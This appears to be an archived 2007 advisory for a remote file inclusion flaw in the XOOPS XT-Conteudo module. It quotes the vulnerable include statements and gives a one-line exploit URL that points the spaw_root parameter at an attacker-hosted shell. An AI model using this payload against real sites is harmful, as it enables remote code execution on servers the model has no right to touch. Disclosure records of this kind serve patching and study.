XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability

🗓️ 14 Jun 2007 00:00:00Reported by RootType

XOOPS Module XT-Conteudo RFI Vulnerability in spaw_roo


                                                ##############################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;_&nbsp;\&nbsp;/&nbsp;_&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;|
#&nbsp;&nbsp;&nbsp;__&nbsp;_|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|_&nbsp;__&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;_&nbsp;__&nbsp;&nbsp;&nbsp;___|&nbsp;|_
#&nbsp;&nbsp;/&nbsp;_`&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;'_&nbsp;\/&nbsp;__|&nbsp;|&nbsp;'_&nbsp;\&nbsp;/&nbsp;_&nbsp;\&nbsp;__|
#&nbsp;|&nbsp;(_|&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;|&nbsp;\__&nbsp;\_|&nbsp;|&nbsp;|&nbsp;|&nbsp;&nbsp;__/&nbsp;|_
#&nbsp;&nbsp;\__,&nbsp;|\___/&nbsp;\___/|_|&nbsp;|_|___(_)_|&nbsp;|_|\___|\__|
#&nbsp;&nbsp;&nbsp;__/&nbsp;|
#&nbsp;&nbsp;|___/
##############################################################################################
#INFO:
#Program&nbsp;Title&nbsp;###############################################################################
#XT-Conteudo&nbsp;(XOOPS&nbsp;Module)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
#
#Description&nbsp;#################################################################################
#Content&nbsp;module&nbsp;for&nbsp;XOOPS&nbsp;CMS
#
#Vuln&nbsp;Code&nbsp;###################################################################################
#In&nbsp;/admin/spaw/spaw_control.class.php
#&nbsp;include&nbsp;$spaw_root.'config/spaw_control.config.php';
#&nbsp;include&nbsp;$spaw_root.'class/toolbars.class.php';
#&nbsp;include&nbsp;$spaw_root.'class/lang.class.php';
#
#Script&nbsp;Download&nbsp;##############################################################################
#http://www.xoops.org/modules/repository/singlefile.php?cid=94&amp;lid=1405
#
#Exploit&nbsp;######################################################################################
#
#http://[&nbsp;site&nbsp;]/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=[&nbsp;shell&nbsp;]?
#
#Credits&nbsp;######################################################################################
#FiSh&nbsp;for&nbsp;vulnerability
#shoutz:&nbsp;clorox,&nbsp;z3r0,&nbsp;katalyst,&nbsp;SyNiCaL,&nbsp;sCuZz,&nbsp;OD,&nbsp;pr0be,&nbsp;0ptix,&nbsp;str0ke
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;grumpy,&nbsp;and&nbsp;everyone&nbsp;else&nbsp;at&nbsp;g00ns.net
###############################################################################################

14 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1